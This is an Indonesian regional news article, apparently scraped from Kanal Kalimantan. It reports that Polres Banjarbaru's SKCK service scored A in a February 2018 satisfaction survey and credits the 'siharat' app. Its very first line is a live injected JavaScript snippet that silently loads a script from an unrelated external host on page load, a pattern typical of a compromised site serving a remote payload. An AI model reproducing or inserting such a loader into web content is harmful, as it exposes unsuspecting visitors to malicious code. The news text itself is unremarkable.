(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Dalam rangka meningkatkan pelayanan kepada masyarakat, Petugas SKCK Polres Banjarbaru melakukan survey Indeks Kepuasan Masyarakat (IKM) pada unit Pelayanan SKCK Polres Banjarbaru bulan Februari 2018. Hasil dari survey tersebut pelayananan SKCK Polres Banjarbaru mendapat nilai A dalam mutu pelayanan.
Ada 14 pertanyaan diberikan kepada masyarakat yang ingin membuat Surat Keterangan Catatan Kepolisian (SKCK). Pertanyaan dibuat sebagai jajak pendapat masyarakat terhadap pelayanan yang diberikan oleh petugas SKCK Polres Banjarbaru.
Adapun nilai yang di dapat dari hasil survey Indeks Kepuasan Masyarakat (IKM) kepada unit pelayanan SKCK Polres Banjarbaru, berhasil mendapatkan nilai (88,25) dengan mutu pelayanan (A) dan kinerja unit peyananan (sangat baik).
Kapolres Banjarbaru AKBP Kelana Jaya melalui Kasat Intelkam Polres Banjarbaru AKP Asep Danu Hudaya menjelaskan survey Indeks Kepuasan Masyarakat (IKM) dilakukan sebagai bahan kajian dan evaluasi pelayanan publik guna untuk mendapatkan penilaian, sehingga upaya peningkatan kualiatas pelayanan publik dapat terwujud sesuai dengan harapan, kebutuhan dan tuntutan masyarakat terhadap kualitas aparatur penyelenggaraan pelayanan publik.
“Hal tersebut dapat terwujud berkat aplikasi siharat yang mempermudah masyarakat dalam pembuatan SKCK di polres banjarbaru,†ujar AKP Asep Danu Hudaya.
Dalam pembuatan SKCK melalui aplikasi siharat memang lebih praktis, masyarakat tinggal mengisi data didalam fitur aplikasi tersebut dan hanya dalam selang waktu 3 hari, tinggal menunjukan data yang telah diisi lewat aplikasi siharat dan dengan menunggu 5 menit SKCK sudah jadi dibuat.
Selain itu ada juga untuk fitur pembuatan SIM, Dengan mendownload aplikasi siharat ini masyarakat hanya perlu mengisi data mereka di dalam fitur aplikasi ini dan selang waktu 3 hari masyarakat datang ke polres bajarbaru dan menunjukan data yang diisi tersebut. Tidak perlu berlama lama hanya butuh 2 menit, SIM akan di print, kemudian masyarakat langsung mengikuti tes secara tertulis dan secara praktek. (rico)
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.